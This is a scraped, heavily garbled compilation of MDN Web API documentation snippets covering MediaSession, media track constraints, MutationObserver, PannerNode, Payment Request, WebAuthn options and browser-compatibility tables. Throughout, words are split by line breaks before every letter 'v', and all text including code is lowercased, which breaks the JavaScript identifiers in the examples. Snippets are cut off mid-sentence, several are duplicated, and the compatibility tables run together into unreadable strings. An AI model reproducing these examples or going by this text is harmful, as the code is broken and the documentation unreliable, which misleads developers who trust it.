vigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); na
vigator.mediasession.setactionhandler('play', function() {}); na
vigator.mediasession.setactionhandler('pause', function() {}); na
vigator.mediasession.setactionhandler('seekbackward', function() {}); na
vigator.mediasession.setactionhandler('seekforward', function() {}); na
vigator.mediasession.setactionhandler('pre
vioustrack', function() {}); na
vigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status c...
MediaSession.setPositionState() - Web APIs
the mediasession method setpositionstate() is used to update the current document's media playback position and speed for presentation by user's de
vice in any kind of interface that pro
vides details about ongoing media.
... call this method on the na
vigator object's mediasession object.
... syntax na
vigator.mediasession.setpositionstate(statedict); parameters statedict optional an object conforming to the mediapositionstate dictionary, pro
viding updated information about the playback position and speed of the document's ongoing media.
... let positioninterval = window.setinterval(() => { if (mymedia.isplaying) { na
vigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status comment media session standardthe definition of 'mediasession.setpositionstat...
Media Session action types - Web APIs
pre
vioustrack moves back to the pre
vious track.
... let skiptime = 10; // time to skip in seconds na
vigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon.
... audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); }); na
vigator.mediasession.setactionhandler('seekbackward', evt => { // user clicked "seek backward" media notification icon.
... audio.currenttime = math.max(audio.currenttime - skiptime, 0); }); supporting multiple actions in one handler function you can also, if you prefer, use a single function to handle multiple action types, by checking the value of the mediasessionactiondetails object's action property: let skiptime = 7; na
vigator.mediasession.setactionhandler("seekforward", handleseek); na
vigator.mediasession.setactionhandler("seekbackward", handleseek); function handleseek(details) { switch(details.action) { case "seekforward": audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); break; case "seekbackward": audio.currenttime = math.max(audio.currenttime - skiptime, 0); break; } } here, the handleseek() function handles both seek...
MediaSessionActionDetails - Web APIs
pre
vioustrack moves back to the pre
vious track.
... let skiptime = 10; // time to skip in seconds na
vigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon.
... audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); }); na
vigator.mediasession.setactionhandler('seekbackward', evt => { // user clicked "seek backward" media notification icon.
... audio.currenttime = math.max(audio.currenttime - skiptime, 0); }); supporting multiple actions in one handler function you can also, if you prefer, use a single function to handle multiple action types, by checking the value of the mediasessionactiondetails object's action property: let skiptime = 7; na
vigator.mediasession.setactionhandler("seekforward", handleseek); na
vigator.mediasession.setactionhandler("seekbackward", handleseek); function handleseek(details) { switch(details.action) { case "seekforward": audio.currenttime = math.min(audio.currenttime + skiptime, audio.duration); break; case "seekbackward": audio.currenttime = math.max(audio.currenttime - skiptime, 0); break; } } here, the handleseek() function handles both seek...
MediaStreamConstraints - Web APIs
track constraints audio either a boolean (which indicates whether or not an audio track is requested) or a mediatrackconstraints object pro
viding the constraints which must be met by the audio track included in the returned mediastream.
...
video either a boolean (which indicates whether or not a
video track is requested) or a mediatrackconstraints object pro
viding the constraints which must be met by the
video track included in the returned mediastream.
... if constraints are specified, a
video track is inherently requested.
...streams isolated in this way can only be displayed in a media element (<audio> or <
video>) where the content is protected just as if cors cross-origin rules were in effect.
MediaTrackConstraints.displaySurface - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.displaysurface as returned by a call to mediade
vices.getsupportedconstraints().
... usage notes you can check the setting selected by the user agent after the display media has been created by getdisplaymedia() by calling getsettings() on the display media's
video mediastreamtrack, then checking the value of the returned mediatracksettings object's displaysurface object.
... for example, if your app needs to know that the surface being shared is a monitor or application—meaning that there's possibly a non-content backdrop—it can use code similar to this: let mayhavebackdropflag = false; let displaysurface = displaystream.get
videotracks()[0].getsettings().displaysurface; if (displaysurface === "monitor" || displaysurface ==="application") { mayhavebackdropflag = true; } following this code, mayhavebackdrop is true if the display surface contained in the stream is of type monitor or application; either of these may have non-content backdrop areas.
... later code can use this flag to determine whether or not to perform special processing, such as to remove or replace the backdrop, or to "cut" the indi
vidual display areas out of the received frames of
video.
MediaTrackConstraints.logicalSurface - Web APIs
this is used to specify whether or not getdisplaymedia() should allow the user to choose display surfaces which are not necessarily fully
visible on the screen, such as occluded windows or the complete content of windows which are large enough to require scrolling to see their entire contents.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.logicalsurface as returned by a call to mediade
vices.getsupportedconstraints().
... usage notes you can check the setting selected by the user agent after the display media has been created by getdisplaymedia() by calling getsettings() on the display media's
video mediastreamtrack, then checking the value of the returned mediatracksettings object's logicalsurface object.
... for example, if your app needs to know if the selected display surface is a logical one: let islogicalsurface = displaystream.get
videotracks()[0].getsettings().logicalsurface; following this code, islogicalsurface is true if the display surface contained in the stream is a logical surface; that is, one which may not be entirely onscreen, or may even be entirely offscreen.
MediaTrackSettings.cursor - Web APIs
the mediatracksettings dictionary's cursor property indicates whether or not the cursor should be captured as part of the
video track included in the mediastream returned by getdisplaymedia().
... syntax cursorsetting = mediatracksettings.cursor; value the value of cursor comes from the cursorcaptureconstraint enumerated string type, and may have one of the following values: always the mouse should always be
visible in the
video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content.
... motion the mouse cursor should always be included in the
video if it's mo
ving, and for a short time after it stops mo
ving.
... never the mouse cursor is never included in the shared
video.
MediaTrackSettings.logicalSurface - Web APIs
logical surfaces are those which are not necessarily entirely onscreen, or may even be off-screen, such as windows' backing buffers (where only part of the buffer is
visible without scrolling the containing window) and offscreen rendering contexts.
... syntax islogicalsurface = mediatracksettings.logicalsurface; value a boolean value which is true if the
video track in the stream of captured
video is taken from a logical display surface.
... a
visible display surface (that is, a surface for which logicalsurface returns false) is the portion of a logical display surface which is currently
visible onscreen.
... for example, a user agent may choose to allow the user to choose whether to share the entire document (a browser with logicalsurface value of true), or just the currently
visible portion of the document (where the logicalsurface of the browser surface is false).
MediaTrackSupportedConstraints.autoGainControl - Web APIs
the mediatracksupportedconstraints dictionary's autogaincontrol property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the autogaincontrol constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... the autogaincontrol constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks; this ob
viously is contingent on whether or not the indi
vidual de
vice supports automatic gain control as well; it's typically a feature pro
vided by microphones.
... html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
the mediatracksupportedconstraints dictionary's noisesuppression property is a read-only boolean value which is present (and set to true) in the object returned by mediade
vices.getsupportedconstraints() if and only if the user agent supports the noisesuppression constraint.
... you can access the supported constraints dictionary by calling na
vigator.mediade
vices.getsupportedconstraints().
... the noisesuppression constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks; this ob
viously is contingent on whether or not the indi
vidual de
vice supports automatic gain control as well.
... html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (na
vigator.mediade
vices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
MessageEvent.source - Web APIs
the source read-only property of the messageevent interface is a messageeventsource (which can be a windowproxy, messageport, or ser
viceworker object) representing the message emitter.
... syntax let mysource = messageevent.source; value a messageeventsource (which can be a windowproxy, messageport, or ser
viceworker object) representing the message emitter.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html li
ving standardthe definition of ' messageevent: source' in that specification.
... li
ving standard ...
Metadata.modificationTime - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodificationtime experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera ...
... no support nosafari no support noweb
view android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
Metadata.size - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera no...
... support nosafari no support noweb
view android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
Microdata DOM API - Web APIs
the document.getitems(typenames) method pro
vides access to the top-level microdata items.
...when called, the method must return a live nodelist object containing all the elements in the document, in tree order, that are each top-level microdata items whose types include all the types specified in the method's argument, ha
ving obtained the types by splitting the string on spaces.
... the names attribute must return a live read only array object gi
ving the property names of all the elements represented by the collection, listed in tree order, but with duplicates removed, lea
ving only the first occurrence of each name.
... the nameditem(name) method must return a propertynodelist object representing a live
view of the htmlpropertiescollection object, further filtered so that the only nodes in the propertynodelist object are those that have a property name equal to name.
MimeType - Web APIs
the mimetype interface pro
vides contains information about a mime type associated with a particular plugin.
... na
vigatorplugins.mimetypes returns an array of this object.
... specifications specification status comment html li
ving standardthe definition of 'mimetype' in that specification.
... li
ving standard initial definition.
MimeTypeArray - Web APIs
this object is returned by na
vigatorplugins.mimetypes.
... var mimetypes = na
vigator.mimetype; var flashplugin = mimetypes['
video/x-flv']; if (typeof flashplugin === "undefined") { var
vid = document.createelement('
video'); // use
vid.canplaytype() to test for a supported mime type.
...} specifications specification status comment html li
ving standardthe definition of 'mimetypearray' in that specification.
... li
ving standard initial definition.
MouseEvent.mozInputSource - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mouseevent.mozinputsource read-only property on mouseevent pro
vides information indicating the type of de
vice that generated the event.
... constant name value desription moz_source_unknown 0 the input de
vice is unknown.
... moz_source_mouse 1 the event was generated by a mouse (or mouse-like de
vice).
msGraphicsTrustStatus - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msgraphicstruststatus is a read-only property which returns an object containing information on protected
video playback.
... syntax status = object.msgraphicstruststatus; example //specifies the output de
vice id that the audio will be sent to.
... msaudiode
vicetype: string; readonly msgraphicstruststatus: msgraphicstrust; ...
MutationObserver.observe() - Web APIs
the mutationobserver method observe() configures the mutationobserver callback to begin recei
ving notifications of changes to the dom that match the given options.
... options a mutationobserverinit object pro
viding options that describe which dom mutations should be reported to mutationobserver’s callback.
...if you begin watching a subtree of nodes, and a portion of that subtree is detached and moved elsewhere in the dom, you continue to watch the detached segment of nodes, recei
ving the same callbacks as before the nodes were detached from the original subtree.
... li
ving standard ...
MutationObserver.takeRecords() - Web APIs
the mutationobserver method takerecords() returns a list of all matching dom changes that have been detected but not yet processed by the observer's callback function, lea
ving the mutation queue empty.
... const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* ...later, when it's time to stop obser
ving...
...this is done immediately prior to calling disconnect() to stop obser
ving the dom.
... li
ving standard ...
MutationObserverInit.attributes - Web APIs
if true, the callback specified when observe() was used to start obser
ving the node or subtree will be called any time one or more attributes have changed on observed nodes.
... attributeoldvalue lets you specify whether or not you want the pre
vious value of changed attributes to be included in the mutationrecord's oldvalue property.
... when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's pre
vious value.
... li
ving standard ...
Web-based protocol handlers - Web APIs
an example is the mailto: protocol: <a href="mailto:webmaster@example.com">web master</a> web authors can use a mailto: link when they want to pro
vide a convenient way for users to send an email, directly from the webpage.
...for example: na
vigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); where the parameters are: the protocol.
... example <!doctype html public "-//w3c//dtd html 4.01//en"> <html lang="en"> <head> <title>web protocol handler sample - register</title> <script type="text/javascript"> na
vigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); </script> </head> <body> <h1>web protocol handler sample</h1> <p>this web page will install a web protocol handler for the <code>web+burger:</code> protocol.</p> </body> </html> activating now, anytime the user activates a li...
...the data sent:</p> <textarea> <?php echo(htmlspecialchars($value, ent_quotes, 'utf-8')); ?> </textarea> </body> </html> references http://www.w3.org/tr/2011/wd-html5-20110525/timers.html#custom-handlers see also window.na
vigator.registercontenthandler nsiprotocolhandler (xul only) registerprotocolhandler enhancing the federated web at mozilla webdev register a custom protocolhandler at google developers.
Node - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... node.pre
vioussiblingread only returns a node representing the pre
vious node in the tree, or null if there isn't such node.
... if callback is pro
vided, and it returns boolean false when called, the current recursion level is aborted, and the function resumes execution at the last parent's level.
... li
ving standard added the following methods: getrootnode() dom4the definition of 'node' in that specification.
NodeIterator - Web APIs
pre
viously it was telling the engine that the nodeiterator was no more used, but this is now useless.
... nodeiterator.pre
viousnode() returns the pre
vious node in the document, or null if there are none.
... li
ving standard added the referencenode and pointerbeforereferencenode properties.
... the methods pre
viousnode() and nextnode() don't raise an exception any more.
NotificationAction - Web APIs
these buttons' appearance and specific functionality vary across platforms but generally they pro
vide a way to asynchronously show actions to the user in a notification.
... example notifications can fire notificationclick events on the ser
viceworkerglobalscope.
... here a ser
vice worker shows a notification with a single "archive" action, allowing users to perform this common task from the notification without ha
ving to open the website.
...ive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api li
ving standard li
ving standard ...
PannerNode.distanceModel - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.maxDistance - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.panningModel - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.setOrientation() - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.setPosition() - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
ParentNode.replaceChildren() - Web APIs
exceptions hierarchyrequesterror: the constraints of the node tree are
violated.
... examples emptying a node replacechildren() pro
vides a very convenient mechanism for emptying a node of all its children.
... you simply call it on the parent node without any argument specified: mynode.replacechildren(); transferring nodes between parents replacechildren() enables you to easily transfer nodes between parents, without ha
ving to resort to verbose looping code.
... li
ving standard initial definition.
PaymentRequest.shippingType - Web APIs
the shippingtype read-only property of the paymentrequest interface returns one of "shipping", "delivery", "pickup", or null if one was not pro
vided by the constructor.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingtypechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes availa...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support 11.1web
view android no support nochrome android full support 55firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the ...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.payerEmail - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayeremailchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes availabl...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support yesweb
view android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome,
visit chrome://flags.firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
Performance.timeOrigin - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimeorigin experimentalchrome full support 62edge full support 16firefox full support 53ie ?
... opera full support 49safari no support noweb
view android full support 62chrome android full support 62firefox android full support 53opera android full support 46safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
PerformanceLongTaskTiming.attribution - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetattribution experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... web
view android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
PerformanceTiming.unloadEventEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
...if there is no pre
vious document, or if the pre
vious document, or one of the needed redirects, is not of the same origin, the value returned is 0.
... syntax time = performancetiming.unloadeventend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.unloadeventend' in that specification.
PerformanceTiming.unloadEventStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
...if there is no pre
vious document, or if the pre
vious document, or one of the needed redirects, is not of the same origin, the value returned is 0.
... syntax time = performancetiming.unloadeventstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.unloadeventstart' in that specification.
Using the Performance API - Web APIs
however, if the browser is unable to pro
vide a time value accurate to 5 microseconds (because of hardware or software constraints, for example), the browser can represent the value as a time in milliseconds accurate to a millisecond.
... function calculate_time() { var starttime; var endtime; starttime = performance.now(); do_task(); endtime = performance.now(); return (endtime - starttime); } serializing the performance object json serialization of the performance object is done
via the tojson() method.
... in the following example, json serialization for the performance, performance.timing and performance.na
vigation objects is printed in the object element.
...agname("output")[0]; if (window.performance.tojson === undefined) { json = "window.performance.tojson() is not supported"; o.innerhtml += json + "<br>"; } else { var s; json = window.performance.tojson(); // print the performance object s = json.stringify(json); o.innerhtml = "<p>performance = " + s + "</p>"; // print the performance.timing and performance.na
vigation objects var perf = json.parse(s); var timing = perf.timing; o.innerhtml += "<p>peformance.timing = " + json.stringify(timing) + "</p>"; var na
vigation = perf.na
vigation; o.innerhtml += "<p>peformance.na
vigation = " + json.stringify(na
vigation) + "</p>"; } } specifications the interfaces described in this document are defined in the high resolution time standard wh...
PhotoCapabilities.imageHeight - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimageheight experimentalchrome full support 59edge full support ≤79firefox ?
... web
view android full support 59chrome android full support 59firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
imageWidth - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimagewidth experimentalchrome full support 59edge full support ≤79firefox ?
... web
view android full support 59chrome android full support 59firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
PointerEvent.isPrimary - Web APIs
the isprimary read-only property of the pointerevent interface indicates whether or not the pointer de
vice that created the event is the primary pointer.
... it returns true if the pointer that caused the event to be fired is the primary de
vice and returns false otherwise.
... a pointer is considered primary if the pointer represents a mouse de
vice.
... when two or more pointer de
vice types are being used concurrently, multiple pointers (one for each pointertype) are considered primary.
PublicKeyCredential.getClientExtensionResults() - Web APIs
getclientextensionresults() is a method of the publickeycredential interface that returns an arraybuffer which contains a map between the extensions identifiers and their results after ha
ving being processed by the client.
... during the creation or fetching of a publickeycredential (respectively
via na
vigator.credentials.create() and na
vigator.credentials.get()), it is possible to have "custom" processing by the client for different extensions which are respectively given by publickeycredentialcreationoptions.extensions and publickeycredentialrequestoptions.extensions.
... examples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, // this extension has been defined to include location information in attestation "u
vi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; nav...
...igator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "u
vi" extensions }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'getclientextensionresults()' in that specification.
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
authenticatorselection, an optional property of the publickeycredentialcreationoptions dictionary, is an object gi
ving criteria to filter out the authenticators to be used for the creation operation.
...the latter describes a de
vice which may be used across different platform (such as a usb or nfc de
vice).
... requireresidentkeyoptional a boolean which indicated that the credential private key must be stored in the authenticator, the client or in a client de
vice.
...y: true, userverification: "required" }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PublicKeyCredentialCreationOptions.timeout - Web APIs
note: an analogous option exists for the fetching operation (na
vigators.credentials.get()), see publickeycredentialrequestoptions.timeout.
... syntax timeout = publickeycredentialcreationoptions.timeout value a numerical hint, expressed in milliseconds, gi
ving the time to wait for the creation operation to complete.
... examples var publickey = { timeout: 6000, // accepting to wait for a minute before gi
ving up.
... challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition ...
PublicKeyCredentialCreationOptions - Web APIs
the publickeycredentialcreationoptions dictionary of the web authentication api holds options passed to na
vigators.credentials.create() in order to create a publickeycredential.
...this is pro
vided by the relying party to avoid creating new public key credentials for an existing user who already have some.
... pubkeycredparams: [{ type: "public-key", alg: cose_alg_ecdsa_w_sha256, }], // timeout after 1 minute timeout: 60000, // do not send the authenticator's origin attestation attestation: "none", extensions: { uvm: true, exts: true }, // filter out authenticators which are bound to the de
vice authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification: "preferred" }, // exclude already existing credentials for the user excludecredentials: [ { type: "public-key", // the id for john.doe@example.com id : new uint8array(26) /* th...
...is actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ] } }; // create the new credential with the options above na
vigator.credentials.create(createcredentialoptions) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; var clientextensionsoutputs = newcredentialinfo.getclientextensionsresults(); // send the response to the relying party server // it will verify the content and integrity before // creating a new credential }).catch(function (err) { // deal with any error properly console.error(err); });; specifications specification status ...
PushManager.hasPermission() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethaspermission experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable ser
vice workers pr...
... full support 17firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 29safari no support noweb
view android no support nochrome android full support 42firefox android full support 48notes full support 4...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PushManager.supportedContentEncodings - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportedcontentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable ser
vic...
... full support 17firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 47safari no support noweb
view android no support nochrome android full support 60firefox android full support 48notes full support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PushMessageData.arrayBuffer() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetarraybuffer experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended ...
...support releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 37safari no support noweb
